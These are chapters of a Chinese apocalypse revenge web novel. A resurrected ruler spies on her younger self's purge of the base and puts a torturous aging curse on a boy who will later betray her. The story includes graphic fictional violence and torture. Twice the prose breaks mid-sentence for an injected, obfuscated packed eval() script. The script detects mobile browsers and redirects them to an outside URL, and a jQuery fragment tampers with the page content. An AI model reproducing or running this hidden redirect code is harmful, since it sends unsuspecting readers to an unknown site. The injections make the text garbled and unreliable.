她吐出口气:“沈姨辛苦了。我母亲火化后,留下了半颗碎裂的九阶晶核,被我收在研究所里,周嘉联合王勉志等人,想要盗取晶核,所里有人内应。” 沈沐云目露震惊,随后又觉合理,异能者和丧尸一样有晶核,这也是导致异能者相残的原因之一。 只是,江珺荣是异能爆体而亡,火化时并未发现晶核,不然那些来祭拜的各地代表早就动手抢了。 没想到原来还是留下了半颗晶核的。 她愤怒道:“畜生!他们该死!基地长,请指示!” 「江覆」扬声下令:“即刻起,全基地通缉周嘉、王勉志等反叛者!包庇勾结者,一并捉拿!” 她看了沈沐云一眼,将“全基地”三个字压得特别重。 沈沐云秒懂,这些人身处何地是很好找到的,抓捕很容易,她是要借此机会,将整个基地翻一遍,把该抓的人都抓了。 有人把手伸到母亲遗物上,还是如此重要的九阶晶核,冒犯亡母之仇,妄图夺宝之恨,再如何大动干戈都不为过的。 4. 第一个仇人 清晨,江覆从下榻的酒店里出来,来到楼下不远处的早点铺吃早饭。 这个早点铺因为紧挨着酒店宾馆,对面还是治安局,加上东西好吃,生意非常好。 不过今天这里格外热闹些,食客们很激烈地议论着什么。 “昨天那通缉令你们看了吗?” “何止看了,稽查队在我家那边来来回回搜查了好几遍!带走好些人,那阵仗可吓人了!” “阵仗能不大吗?那可涉及九阶晶核!” “我看啊,那晶核没准真被偷了。” “没想到前州长真留下了晶核。” “新州长丧母之痛还没平息呢,这不太岁头上动土吗?” “我看咱们这位年轻的基地长,是借这个由头排除异己呢!” 听着这些议论,江覆眉头也没动一下,此时她依然是伪装成身份证件上那个人,平静地要了豆浆和油条,又给恶灵买了两个茶叶蛋,一人一猫坐在门口的小桌子上吃开了。 恶灵奶猫还没完全睡醒,打了个大大的哈欠,爪子扒拉着两颗茶叶蛋,不满地喵喵叫:“你这么早起来,就为了听这些人说这些?” 江覆慢条斯理地吃着油条,虽然如今她吃不出味道了,但这脆脆的口感她还是很喜欢的。 几口豆浆下肚,感觉胃里热乎起来了,她才说:“早起,自然是为了吃早饭。” 恶灵一个字都不信,它一口啃在茶叶蛋上,啃了一嘴鸡蛋壳,呸呸呸吐掉:“话说,这里的你还真虎,直接说有九阶晶核,也不怕别人来抢,你当初也是这么做的?” 江覆淡淡道:“我当初怕被人知道母亲遗体的存在,藏着掖着都来不及,只敢私下捉拿周嘉等人,抓到就直接灭口了,哪敢这么大张旗鼓。” “那现在的你是?” 江覆笑了下:“她是防着我呢。” 对此时的「江覆」来说,有一个神秘人发现了母亲遗体,似乎还对她的心思颇为了解,她自然会担心对方拿这个秘密来要挟自己,或者什么时候就抖露出去了,索性自爆母亲留下了半颗九阶晶核。 这时候若再有人冒出来说,母亲遗体尚在人间,她就能说这是污蔑,是为了混淆视听,以便窃取晶核。 “那全基地抓人,真是借机抓反对她的人?” “借题发挥是真,全基地搜寻我这个神秘人也是真,还有收紧基地布防、重要岗位换上自己的人等诸多好处。” 除此之外,也未尝没有让人猜测晶核是不是真的被偷走了的意思。 总之一石多鸟。 小黑猫幸灾乐祸起来:“你留言让她听你安排,她也没听嘛,反而还抓紧时间收拢权力,看来你根本拿不住这个时候年轻版的你啊。” 江覆看着对面的治安局,淡声道:“收拢权力有什么不对?她做出多大的动作,抓多少人都行,一口气杀个万把人,成为名副其实的暴君更好。我让她暂停那个以杀证道计划,是因为她此时的枪毙名单上,有一部分人,我要救下来。” 黑毛蹭地抬头,睁圆了一双琥珀色大眼睛,看看江覆又看看天空,仿佛在说太阳打西边出来了?这个修罗居然转性了? 此时,街头传来一连串的求救声,只见一个浑身是血,衣服被砍成一缕一缕的瘦弱少年,赤着双脚,一路跑一路叫喊。 而他的身后,一个醉醺醺的壮汉举着菜刀,一边追着跑一边怒吼道:“我要砍死你!你这个逆子我要杀了你!” 食客们哗啦啦跑出来看热闹:“这是怎么了?” “是张山那个酒鬼又喝醉打人了,他老婆已经被他打跑了,没想到他连自己儿子都打!” “那可是菜刀啊,快去救人!” 不需要这些食客出手,治安局里已经有人冲出来了,冲在最前面的女警一抬手,一道绿色的光芒滑过,宽厚的绿色叶片如同布条一般将那个酒鬼手脚绑了起来,菜刀哐当落地。 治安局的人冲过来,将酒鬼钳制住,年轻女警抱住少年:“没事了,没事了,小孩,你安全了。” 那少年浑身发抖,紧紧抓着女警的手臂,哇一声哭了出来:“我爸要杀我!他还杀了我妈,我妈没有跑,被他埋在了院子里!” 此言一出,众人皆惊。 一片嗡嗡议论中,江覆慢慢从座位上站起来,看着那个嚎啕大哭的少年,嘴角勾起,眼里闪烁着恶魔看到猎物一般的兴奋红芒。 张!通! 那个,在她铜像前,说她杀害了他父亲,为报父仇在她身边隐忍蛰伏的人。 那个,在她重伤无法顾及之际,联合一群人伏击毒杀她心腹的人。 那个,打开基地大门,把盛英华等人引进基地,让她陷入重重包围,彻底落败的人。 那个,割下她的头颅,给她安上条条罪名的人。 那个,在她死后,将她的追随者、意图为她辩白的人,屠杀殆尽的人。 江覆微微地呼吸着,怕用力大一些,就会泄露她不平静的气息。 她的双手交握,指尖在手背上扣得泛白,嘴角却始终微扬,那是即将报第一个仇的兴奋愉悦。 小黑猫浑身毛发炸开,悄悄往后退去。 这会儿的江覆好可怕! 不过好在,江覆很快就把这诡异的微笑收起,她的目光落到那个年轻女警身上。 韩晓飞。 她其实不认识这个人,但在她死后,这个人带着一支小队,想要将她的头颅从城墙上取下来。 那时候,江覆的铜像还没制成,她的残存意识还在头颅里,混沌无序,她只模糊看到这些人全军覆没。 最后韩晓飞是被张通亲手用菜刀砍断脖子的,鲜血喷洒之时仍在咒骂张通。 此时,韩晓飞将张通护在怀里拍抚安慰,一边命令手下警员:“先把这个醉汉抓进局里,其他人,跟我去张家搜查!” 忽然,她察觉到有一道目光在凝视自己,立刻寻找过去。 但周围都是人群,没有谁特意盯着自己看,她只注意到一家早点铺前,有一个灰色外衣的女子低下头,帽檐遮挡了她的眼睛,转身安静走开。 一只小黑猫从桌上跳下去,摔了个跟头,满头灰地爬起来,急急跟上她的脚步。 直觉告诉韩晓飞,那个人有点古怪,但一晃眼,一人一猫都不见了。 …… 张家的事很好查,治安队过去没几分钟,就从院子里挖出一具女尸,看腐败程度,死亡时间在半个月左右,尸体上有些伤痕还能辨认,全部是被虐打出来的痕迹。 甚至,这个可怜的女人完全是被活活打死的。 虽说末世中,人们的道德底线下降了很多,但覆安基地的生存环境一直不错,治安也非常严格,犯罪刑罚非常重,没想到还会发生这样骇人听闻的惨案,因此一下子就传开了。 治安局仅用了一天时间,就把整个案子理得明明白白,并取得了凶手张山的认罪供词,当天下班前就把案子移交上去。 韩晓飞忙了一天,这会儿饥肠辘辘,但想到那女尸的惨状,一点胃口都没有。 她拿着手里的三明治,脑海里一会儿是女尸的惨状,一会儿是那个奇怪的灰衣女子。 虽说是完全不相干的两个人,那个灰衣女子也和这个案子完全没关系,但不知道为什么,总觉得她们身上有什么地方很相似。 是那种……死亡的气息吗? 要不要去查一下那个女子?应该是附近住户,或者酒店的客人吧? “这个张山你说会是死刑吗?” 同事还在讨论这个案子。 “肯定的啊,怎么可能不死,说不定加急加快给咔嚓了。” “我听说,新基地长最近要处决一批罪犯,希望这个张山赶上这班车。” “晓飞,你说呢?” 韩晓飞回过神,点了点头:“肯定会,别说家暴、杀妻、毁尸灭迹这些,随便拉出一个都不可饶恕,你们没看邻居供词吗,死者死前那几天,因为前州长的死在家中哭泣而被日日打骂,导致她死亡的导火索,是头七那日给前州长烧纸,从而惹怒了张山……” 韩晓飞说着,也不由得难过起来:“单单这一点,那位就绝对不会放过他。” …… 事实上,这个案子因为其特殊性,第二天就走完了流程,被递到「江覆」面前。 彼时,「江覆」刚审问完周嘉、王勉志等人,确定他们确实要勾结起来偷母亲遗体。 她从审讯室里出来,换下沾满血迹的衣服,用湿毛巾慢条斯理地擦指尖的鲜血,做这些时,她面无表情,满身煞气。 秘书站在一旁,腿肚子有些发抖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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以陈印玉对母亲的心意,她给她儿子一个前程又如何,前提是他不要遗传张表的糟糕基因。 「江覆」接着冷厉道:“下令给各区治安局等相关机构,严查家暴情况,不,取缔家暴这个词,凡是家庭内故意伤人的,有一个算一个,给我从严从重办,谁敢和稀泥就给我以渎职论!” 秘书赶紧记下。 「江覆」坐下来,按着额头:“律法还是要改,还是不够重……”不然搞个连坐算了,免得再出现邻里包庇的情况…… 秘书小心问:“这个张表是否要加入这次的处决名单?” “这还用问?”若不是还有理智,「江覆」都想亲自动手,千刀万剐。 想到什么,她皱了皱眉:“把名单拿给我。” 她翻开名单,这名单每天都在更新,今日已经补充到了三千余人,有贪赃枉法的,有以权谋私的,有仗势欺人的,有草菅人命的,有买卖人口的,有制作假药的,还有最近动作频频,为了反对她危害到基地安全民众安全的。 凡是够到了死刑线的,都在这里了。 还有一些在法律上可逃一死,但在道德上「江覆」觉得非死不可的,比如虐待老人、遗弃幼儿、卖妻y女、虽杀人未遂但主观恶意极重的、未亲自动手但间接害人的、以精神病脱罪不止一两回的……等等,她也一并给加进去。 更有这两天全基地搜查中,刚抓到的叛徒、奸细、在逃犯等等。 能杀的「江覆」都想杀了,三千人已经是她克制的结果了。 她还要把人放到一起杀,杀他个人头滚滚,杀出个朗朗乾坤。 但那个神秘家伙让她暂时不要杀人。 还说等ta安排,但两天也没有消息,搜查也查不到可疑人物。 这种受制于人的感觉…… 「江覆」烦躁地一拍桌子,一旁秘书吓了一跳。 「江覆」抬眼看她,越发把她看得战战兢兢,好在这时有人敲门,打破了这令人窒息的气氛。 「江覆」看去,神情一缓:“时月姐。” 5. 第一次诅咒 江时月从门外走进来,对秘书道:“辛苦了,你先去休息吧。” 小秘书如蒙大赦,快步出去了。 「江覆」看着人几乎落荒而逃,有些无语:“我脸上是写着要吃人吗?” 江时月道:“或许你该去照照镜子,没写着吃人,但也差不远了。” “时月姐!” 江时月倒了一杯菊花茶,放到「江覆」面前:“你最近太紧绷了,江姨看到你这样,该多不放心。” “……”「江覆」握住水杯,看着指甲缝里的血迹,指尖似乎还残留着扒开人皮的触感。 母亲说过,折磨一个人的冲动,是因为对方影响到了自己,这世上没有任何人,值得她通过折磨对方来获得平静。 而作为一个上位者,永远都不应该失去冷静、克制,和风度。 可她控制不住。 想到那些人偷走母亲遗体,是为了解剖、切片研究、炼制,甚至落到某些人手里还会被做成标本收藏乃至展出,她就压不住内心的戾气。 看到对母亲不恭敬的言行,她也无法控制住自己的愤怒。 江时月担心地看着她,如今的「江覆」,就是一个易燃易爆炸的煤气罐,她可以一时这样,却不能一直这样。 她可以令底下人畏惧,甚至恐惧,但这只能是一种手段,而不是她本身就是一个疯子。 「江覆」闭了闭眼,深深地呼吸几次,喝了一口菊花茶,微涩回甘的茶水润过咽喉,她的情绪也随之一点点舒缓下来。 她睁开眼,指尖燃起一簇火苗,将双手残留的血迹焚烧得干干净净,等她再抬起头,已经恢复成昔日从容冷静的模样。 江时月暗暗松了口气。 「江覆」往后一靠椅背:“江部长,你今天来,不只是为了提点我吧。” 江时月一笑,也做出一副公事公办的样子:“是,有一件事情要向您汇报。” 江时月是母亲最早救回来的孤儿,名字都是母亲起的。 像这样被救回来的孤儿很多,基本在慈育院长大,到一定年龄会根据个人能力和兴趣安排工作。 江时月没有什么战斗天赋,但她是一个很有耐心的细致人,便被母亲安排到「江覆」身边,照顾她生活。 五年前,世界从大灾期进入末世期,人们纷纷觉醒异能,江时月觉醒的异能不是很强,但对收集情报有得天独厚的优势,被安排进基地的情报部门,主要负责为「江覆」收集、整合情报。 如今,随着「江覆」的上位,她自然而然成了副部长,但谁都知道,只要过渡两年,她就是板上钉钉的部长。 需要这样一个大忙人,亲自当面汇报的事…… 「江覆」一下子坐直了。 果然,江时月拿出一份报告:“冰棺盖上的水渍,已经检验出成分了,极有可能是泪水。” “泪水?”「江覆」惊讶。 她接过检验报告,看上面的数据,那水渍提取物中,提取到了电解质、蛋白质和少量失活的酶类,确实都是泪水的组成成分。 所以,那个闯入者,趴在母亲的冰棺上哭了? 这和她想得可不大一样。 “棺盖上的掌印,我们无法提取出掌纹,对方非常谨慎,应该是戴了手套的。” 「江覆」:“……”谨慎地不留下掌纹,但留下了泪痕? “此外,我们还取到了几枚动物的脚印,经分析比对,应该是一月龄到二月龄之间的猫爪印。” ……所以,这人还是带着猫去的,并且让猫留下了脚印? 她抬头看江时月,江时月也看着她:“很矛盾,对吗?” 是的,很矛盾,戴了手套,是不想留下个人信息,事实上,这个人是如何潜入研究所并直达地底的,她们至今没有头绪,哪里都是干干净净的。 但到了地下密室里,对方却留下了大量线索。 江时月道:“事先得到了门禁密码,一路避开所有摄像头,没有留下丝毫痕迹和气味,在触发警报之后,还能全身而退。那时研究所已经全面封闭,你抵达之后精神力覆盖,加上之后军队层层封锁,可别说拦住她,连根头发丝都没有碰到。” 她面色十分严肃:“这个人,对研究所布局非常了解,实力可怕,准备充分,她一路冷静小心,却在看到江姨遗体后,情绪失控……” 密室里那些痕迹,若非故意为之,那就只能是情绪失控了。 「江覆」沉默片刻,猜测道:“难道是母亲的故人,或是受过母亲恩惠的人?” 江时月摇头:“我在大灾初年就跟在江姨身边,符合这条件,又实力超群的人,我不会不知道。” 「江覆」摸索着手腕上的镯子,陷入思索。 掌印和她的大小差不多,根据字迹的高度,身高也和她相近,甚至字迹和她的有几分相似,进研究所跟回家似的…… 包括趴在冰棺上哭,这种事她也做过许多回…… 这种奇怪的既视感……仿佛看到了另一个自己。 她忽然问:“母亲不会背着我,在外面还有一个女儿吧?” 江时月本来也在思索,被这话问得蒙了:“……哈?” 「江覆」咳了一声,也觉得这个猜测不靠谱,但:“泪水中,不能提取出DNA吗?” 江时月:“……试过,但失败了。” 「江覆」有些失望,把检验报告放在桌上,手指一下一下在上面点着。 最后她道:“全基地查找一个带着小猫的,身高与我相似的女人。”顿了顿,“集中在中心城区查找吧,她应该不会走远。” 又顿了顿:“动静不要太大,若发现疑似者,不要轻举妄动,第一时间通知我。” 这时,她的手机响了一声。 这是她的私人手机,知道号码的只有寥寥几人。 她看了江时月一眼,心里冒出一个预感,打开手机,果然一条短信映入眼帘,叫她瞳孔一缩。 【张山不要杀】 …… 中心城区第一医院。 普外住院区。 刚过正午,保洁刚用消毒水拖过地面,整个楼层里都充斥着一股消毒水气味。 江覆一身灰色长风衣,拎着一个果篮,安静行走在走廊上。 经过一个个病房门口,可以看到里面有全身打满纱布的病人,有双腿被吊起来的病人,有头上放置了引流管正在昏睡的病人,有浑身连着许多仪器的病人。 如今医疗物资紧张,能够住院的,基本都是重症病人。 然而来到走廊末尾的单人病房,里面却只住着一个,浑身上下只有一些皮肉伤的少年,此时病房里还有慈育院员工和社区工作人员来慰问。 “你只管好好养伤,以后生活不用担心。” 少年的脑袋被纱布包着,靠在床头,眼泪汪汪地说:“谢谢叔叔阿姨,早知道,我就早点求救了……我爸说,敢报警,就打断我的腿……” “你爸已经被抓了,以后谁都不会再伤害你。” 少年一脸感动:“还是我妈说得对,我妈说,江州长领导下的基地,大家都是好人,我妈可崇拜江州长了!” 几个大人顿时露出了更为感慨的表情:“你妈是个好的,可惜……” 这种惋惜又尽数化为对少年的怜惜:“新基地长说了,你以后就去慈育院,那里每个孩子都能得到很好的培养,等你们到了年纪,会有专业考核……” 江覆面无表情地看着,抬手敲了三下门。 几人都转头看来:“你是?” 江覆拿出证件:“我是情报部下属调查科,邓方,关于这次案件,还有一些细节要来询问当事人,能否让我和这孩子单独说几句话?” 几人一听,正了神色,又安抚床上的少年几句,便退出了房间。 江覆将门关上,反锁,来到床边,看着床上的少年张通。 纱布包住了整个额头,露出一张脸,长得颇为清秀,完全看不出日后会成为一个把屠刀举向自己人的恶魔。 张通好奇地看着她,甜甜地叫了一句:“姐姐好。” 江覆没有说话,只这么看着他。 自出事后,所有大人看向他的目光都充满怜惜,第一次接触到如此冰冷的目光,张通不由得打了个哆嗦,本能感到了危险。 他脸色变了,悄悄往后挪,伸手想按床头铃。 江覆对他的小动作视而不见,把果篮放到床头,从里面拿出一个橘子,坐在凳子上剥了起来,一边淡淡说:“刚才那些工作人员,还需要加强一下培训对吧,不然怎么会不知道,政府部门出外勤,基本不可能一个人行动,尤其是与调查相关的,至少也要两个人一起,否则,就是假冒的。” 张通碰到了床头铃,但是怎么都按不下去,再听到江覆的话,看着她过分平淡的表情,汗毛一根根竖了起来,往床角缩去:“你是谁?我什么都没有,什么都不知道!” 越说越害怕,直接扯着嗓子叫了起来。 可惜,他叫得再大声,声音也传不出去。 江覆并不理会他,只低眉垂目地剥着橘子,修长的手指舒展轻盈,很快将橘子皮整个褪下。 然而,她剥出来的不是黄橙橙的橘瓣,而是一只只卷曲着身体的,黑褐色肥嘟嘟的软体虫子。 受到空气刺激,它们一只只挣扎起来,到处拱着,像是寻找什么。 张通目瞪口呆,看得又恶心又害怕,慌忙继续往后退,扑通一声摔到地上,顾不得身上疼痛,手脚并用爬开:“这是什么?你到底是什么人?救命!救命啊!” 江覆摸了摸这些虫子:“这些可是我花了不少时间找到的,用怨气喂养了一晚上,才喂到这么大。” 她看着张通,微笑道:“看我对你多用心,为了你,我可是一晚上没睡。” 张通被她笑得毛骨悚然,他已经意识到面前这个女人有多可怕了。 他爬起来就朝门口扑去,哪里还有之前在那些工作人员面前的柔弱无助,动作简直算得上矫健。 然而,江覆手往他那一挥,那些虫子唰地飞到了他的身上,感受到他身上的血腥味,虫子们兴奋地到处爬,爬到纱布边拱进去,爬到他脸上,钻进他的嘴巴、耳朵、鼻子…… 张通重重摔倒,满地打滚想要把这些虫子弄下去。 “救命啊!呕!快拿走这是什么!呕!啊啊啊啊!!!” 无论他怎么挣扎,那些虫子还是爬进了他的嘴巴里、伤口里,迅速消失不见,但他能感觉到,它们在他的肠胃里蠕动,在他的皮肤底下撕咬。 好疼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16581679|187262||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' !好痒!好恶心!好难受! 张通瞬间崩溃了,在地上打滚哀嚎,疯狂抓挠自己的身体,抓得鲜血淋漓。 “为什么!你到底是谁?为什么要这么折磨我!求求你放过我吧!” 江覆站起身,漠然地看着他。 此时此刻的张通,自然是无比委屈的,他完全不明白自己为什么要遭受这种折磨。 江覆好心地给他解惑:“你的母亲,常年受张表虐待,你是知道的。” 张通一滞,不敢置信地抬头,就因为这个,就因为这个来折磨他? “我还小,我什么都做不了啊,我妈让我不要管……”他满是委屈,他妈都让他不要管了,这人谁啊,来多管闲事! 江覆继续说:“你母亲被张表杀死,你也是知道的。” 张通浑身一震,震惊地看着她。 “只是你觉得无所谓,一个只能在家里做做家务的女人,没了就没了,你总不能在没了母亲之后,再没了父亲吧。所以,你假装不知道,在埋了你母亲的院子里,进进出出,来回踩踏,毫无负担。” 张通浑身颤抖起来。 “直到,张表没了出气筒,开始对你下狠手,你才发现一个挡箭牌的重要性,你才意识到,有这个父亲还不如没有。于是,你故意让自己被张表弄出很多伤痕,弄得满身是血后,在大清早跑了出来,跑向治安局,跑到无数人眼皮底下。” 张表再是酒鬼,也不大可能在大清早发疯,那个时间点根本是张通设计好的,他是故意刺激张表发狂的。 张通像见鬼一样看着江覆,这些事她是怎么知道的? “你监视我?” 江覆拿起床头,张通和陈印玉的合照,照片上,女人看着儿子,神情温柔慈爱。 很显然,这合照是张通故意摆出来博取同情的,刚才那些工作人员的轻声细语就是他的战果。 “你成功了,张表被抓,很快就被处决,而你仗着年纪小,经历惨,父母双亡,赢得了许多同情。最重要的是,你母亲的死亡与前州长有关,新州长都因此动容,将对你母亲的隐隐感怀和愧疚,转移到你身上。 “你对你母亲的凄惨遭遇冷眼旁观,甚至,你的人生就是建立在她的痛苦之上的,但在她死后,你却心安理得地踩着她的血骨,得到了一个高于他人的起点。 “然而,那些同情起到的作用,并不如你想象中的大,你依然要与旁人竞争,你依然要通过一次次危险的任务,展示你的价值,得到上位者的赏识。 “你开始怨恨,你觉得你的母亲是因为前州长而死,你理应得到无上礼遇才对。你还觉得你是没了父亲,没了托举,才落到这个地步,你觉得你自己简直是世界上最可怜的人。 “渐渐地,你彻底遗忘了你母亲的痛苦,你父亲的形象在你心中一日日得到美化。你恨那些经手案子的人,你觉得是那些人联手害死了你的父亲。你觉得你父母双亡全拜掌权者所赐,你把所有的怨恨都转向她,然后告诉自己,这一切,都是你为了报仇而忍辱负重。” 这些内心剖白,都是张通在杀韩晓飞时自己说出来的。 可能是自我催眠多年,他自己都当了真,当时那表情神态那叫一个真切而痛苦,把自己感动得泪流满面的。 江覆放下照片,看着眼前少年茫然的面孔,在上面寻找当时那大仇得报扭曲癫狂的模样。 很快,她就不为难自己了。 她不会因为张通此时还是孩子,以后那些事还没有发生,就原谅他放过他。 要是这么容易就能原谅,那曾经死在张通手下的人算什么,那五十年的遭遇又算什么,算她们活该吗? 不过,面对这张茫然稚嫩的脸,她确实有点不习惯。 她看着张通道:“我还是更习惯,你在我的铜像前,桀骜不驯的样子,那时你多少岁来着?有七十了吧。” 她抬起手指着张通,怨气从手中涌出,病房里顿时如同下了干冰一般,雾气迷漫,温度骤降。 张通体内的虫子又疯狂蠕动起来,他重新惨叫起来。 在这声声惨叫中,江覆平静的声音响起,每一个字都带着一种独特的韵律,仿佛飘忽的风,从古老的深渊底下吹上来。 “我诅咒:张通!以余生机体活力为代价,你的头颅面容迅速长到七十岁的模样。你会得到日后风光无限的零星记忆,但永远无法诉之于口;你会因为记忆中的成功和现实中的惨淡而煎熬癫狂,却永远无法真的精神失常;你会日日遭受怨虫敲骨吸髓之痛,唯一可以稍微缓解这种痛苦的办法,就是大声向每一个人诉说你的罪恶!” 话音落下,空中黑浓的怨气形成了某种图案,没入到张通体内。 他猛地抱住了自己的脑袋,发出更加凄厉的惨嚎,他的头颅开始快速发育胀大,他脸上的肌肉开始疯狂蠕动,肉眼可见地变得成熟,而后又变得苍老。 江覆从怨气包围中走出来,一边走,脸上的伪装一边散去,终于露出她真实的面容,平静,苍白,而又凌厉,当真宛如从未来归来寻仇的修罗。 她居高临下看着满地打滚毫无尊严的张通,就如同曾经张通这么看着她。 她说:“我不会杀你,你不是很孺慕张表吗?我成全你,往后余生,你们父子就相依为命,相亲相爱吧。” 6. 恶骨异动,医院追逃 住院楼下。 慈育院老师走出来后,脚步一点点变慢,回头看楼上某个病房,脸上的神情变得有点迟疑。 边上社工问道:“朱老师,怎么了?” 朱老师问:“刚才那个调查员,是一个人对吧?” “是啊。”这不是明摆着的吗? “可是我突然想起,调查科的人应该至少两个人一起行动的吧,就像治安局出警一样。” 两人互相看看,脑海里都闪过不好的猜测。 社工道:“还有一个社工留在病房外呢,应该不会有事吧。” 朱老师:“我还是不大放心,我回去看看。” “那一起吧。” 两人往楼上赶去,远远看到那个社工姑娘还在病房门口坐着,看到两人回来,她诧异站起:“怎么了,东西落下了?” 朱老师看着紧闭的病房门:“里面有什么动静吗?” “没有,那个调查员进去后就没声音了。” 朱老师贴着门听了会,真的连说话声都没有,安静得不正常。 她敲门:“调查员,你们谈完了吗?” 没有人回应。 试着开门,门反锁了。 三人互相看看,都觉得坏了,立刻更大力地拍门。 边上病房里有人出来:“怎么了?” 三人把事情一说,那人皱眉:“直接踹门吧,你们让开!” 房间里,江覆扶着墙站着,听到了外面的说话声。终于反应过来了,还不算太废。 张通艰难地朝门口看去,仿佛看到救星,挣扎着伸出了手:“救……” 砰! 外面的人重重踹门,但门没有被踹开,甚至纹丝不动。 “怎么回事?” “奇怪了!” 砰!又是第二下,第三下。 巨大的动静引来了更多人,包括医生护士和保安。 江覆算着时间,看着张通一张脸彻底变老,皱巴巴地如同核桃,嘴角下垂,老人斑遍布,头发眉毛都变得花白干枯,眼里布满浑浊的血丝。 没有了异能支撑,他这张脸比普通七十岁的老人更苍老。 诅咒应该彻底生效了。 第一次诅咒人,她也没有什么经验,只能自己多盯着点。 确定应该没什么问题了,她才撤去房间的禁制。 下一刻,砰! 房门被重重踹开,撞到墙壁上,发出巨大响声。 外面围了许多人,甚至有人已经亮出了自己的异能,蓄势待发。 但在房门打开的那一刻,一股冷风唰地从病房里涌出来,迷了所有人的眼睛。 人们下意识侧过脸闭上眼,哗啦一下,感觉有什么东西从身边掠过。 等睁开眼睛,他们看到的就是病房里,一个少年倒在地上,非常痛苦的样子。 朱老师立刻冲进去,急切之下,都没意识到少年的头发完全变白了。 下一刻,少年抬起头,露出了那张老树皮一般的脸,她才被骇得后退。 “啊!你你你,你是谁!” 其他人也是哗然大骇! 这分明是一个小孩的身体,可这头发!这脸! 妖怪?变异?丧尸的新品种? 想到丧尸那可怕的传染性,众人慌忙后退。 地上,那小孩身老人头的东西却拼命朝他们爬来,努力伸长了手:“救我!救救我!” 声音也是嘶哑苍老的,好像一把破锯子在锯玻璃。 朱老师不确定地问:“张通?” 张通好像抓住救命稻草:“朱老师,救我!救我!” 忽然他一个抽搐,体内剧烈的痛苦令他再也忍不住,他不顾一切地大声说:“我说谎了!我把你们都骗了!我看到我爸把我妈打死了,那天晚上我嫌吵,把被子蒙到头上……她叫得实在太难听了! “早上她就躺在地上,我从她身上跨过去,吃了她留给我的饭,就出去上学了,等我回来,我就看到院子里的土被翻过,我知道她就在那里,我在那堆土上踩来踩去,终于没有人唠叨我了,哈哈哈哈!” 一片死寂! 所有人呆愣地看着他,听着他说着那些恶毒的话,简直怀疑自己的理解能力。那张脸是如此丑陋,根本就是一个披着人皮的妖怪! 朱老师不敢置信地后退,听得浑身颤抖起来,忽然忍不住呕了一声。 好恶心,好恶心!从这张嘴里吐出来的每一句话都叫她觉得可怕,疯了,简直疯了!她怎么会觉得这个孩子无辜乖巧的?这根本就是一个恶魔! 而张通说了这么一通,发现身上的痛苦竟然真的减轻了一些,他迫不及待地继续说:“是那个女人太蠢了,居然为了一个死人惹怒我爸,她该打!我爸说得对,女人就该打,打怕了就乖了,可惜他也不敢天天打,因为基地的掌权人是女的…… “她真的好没用,只要她跑出去报警,一定有人管的,她可以借着这个机会,得到一个安置的岗位,她可以带着我过上好日子!可是她不敢那么做,她还帮我爸遮掩! “太没用了,真的太没用了,她要是有用点,我会帮她的,我会帮她把我爸抓进去的,我也想当好儿子的!但她太没用了,她撑不起来的,我跟着她过不了好日子的!所以,她活该被打!没用的人,死了就死了!” 人们终于回过神来 ,听着这一句句“控诉”,怒气渐渐上涌,在场的女性更是气得浑身发抖。 “混蛋玩意儿!” “畜生!” “他爷爷的!我弄死这牲口!” 众人陷入高涨的怒火中,一时也没人想到要去找那个消失的调查员。 他们也没有注意到,刚才那阵冷风涌出来时,其实有一个人从他们身边经过。 在一群人围在走廊尽头的单人病房前时,一个人影伴随着穿堂而过的风,出现在走廊上。 因为人们都往单人病房跑去看热闹,都被那一声声嘶哑的控诉吸引了注意力,没有人注意到这个突然出现的人。 江覆戴着风衣的兜帽,低着头,与其他人相背而行。 有个人走得有些急,把她撞了一下。 “啊,对不起对不起。” 江覆踉跄了几步,握住走廊边上的扶手,默默摇了下头,那人便没有在意,继续去凑热闹。 江覆抬头看了一眼前方顶上的摄像头,快走几步来到防火门前,推门,竟然没推动,再用力推一下才推开,闪身进去。 防火门一闭合,她再也坚持不住,靠着门滑跪下去,一手揪住衣襟,浑身如同漏气一般疯狂泄露着怨气。 “唔!”体内那根恶骨跟抽风一样蹦跶着,她张嘴想吐,却什么都吐不出来。 她低头看着自己的身体,似乎能透过衣服和皮肤,看到胸膛里的五脏六腑被搅成一堆烂泥,又在怨气的作用下快速修复。 破坏、修复、毁灭、再生,周而复始,没有止境。 “啊!”她又一阵绞痛,趴了下来,手握成拳重重捶在地上。 好狼狈!太狼狈了! 她咬牙,眼里闪过一抹狠厉,恨不得伸手进胸膛,把那根恶骨掏出来。 但不行,没有了那东西,她怕是立刻就会彻底死去。 她还有很多事没做,很多仇没报,她不甘心! 黑猫从风衣口袋里挣出来,跳到地上,看她这样吓了一跳:“你还好吗?我的天哪,诅咒一个人而已,居然能弄成这样!” 江覆满头冷汗,或者说,她也分不清这是汗,还是被挤榨出来的组织液,亦或是她体内早已腐败的血。 她不受控制地战栗着,盯着这只黑猫,眼珠时而被怨气刺破、变形,但又很快被修复完整,看起来可怖极了。 “你、不知道?” 黑猫道:“我也没用怨气诅咒过人啊,只是知道可以这么做而已,你现在到底什么情况?” 江覆闭了闭眼,捂住胸口:“恶骨,很激动……咳咳……它似乎,被激活了。” “恶骨还能有自己的意识?它到底想干什么?” “不知……” 那可怎么办啊! 黑猫急得抓耳挠腮,一蹬腿,整个猫高高跳了下:“你等着,我试试!” 下一刻,黑猫啪一声倒在地上,一团黑漆漆的恶灵从黑猫体内飞出,没入江覆身上。 江覆没有阻止,也无力阻止。 在恶灵陪伴江覆的那十年里,它时常进入铜像,美其名曰陪伴江覆,其实是蹭铜像里的恶意。 对于以恶意为食的恶灵,在恶意浓稠如浆的铜像里,简直就像回到了快乐老家一般。 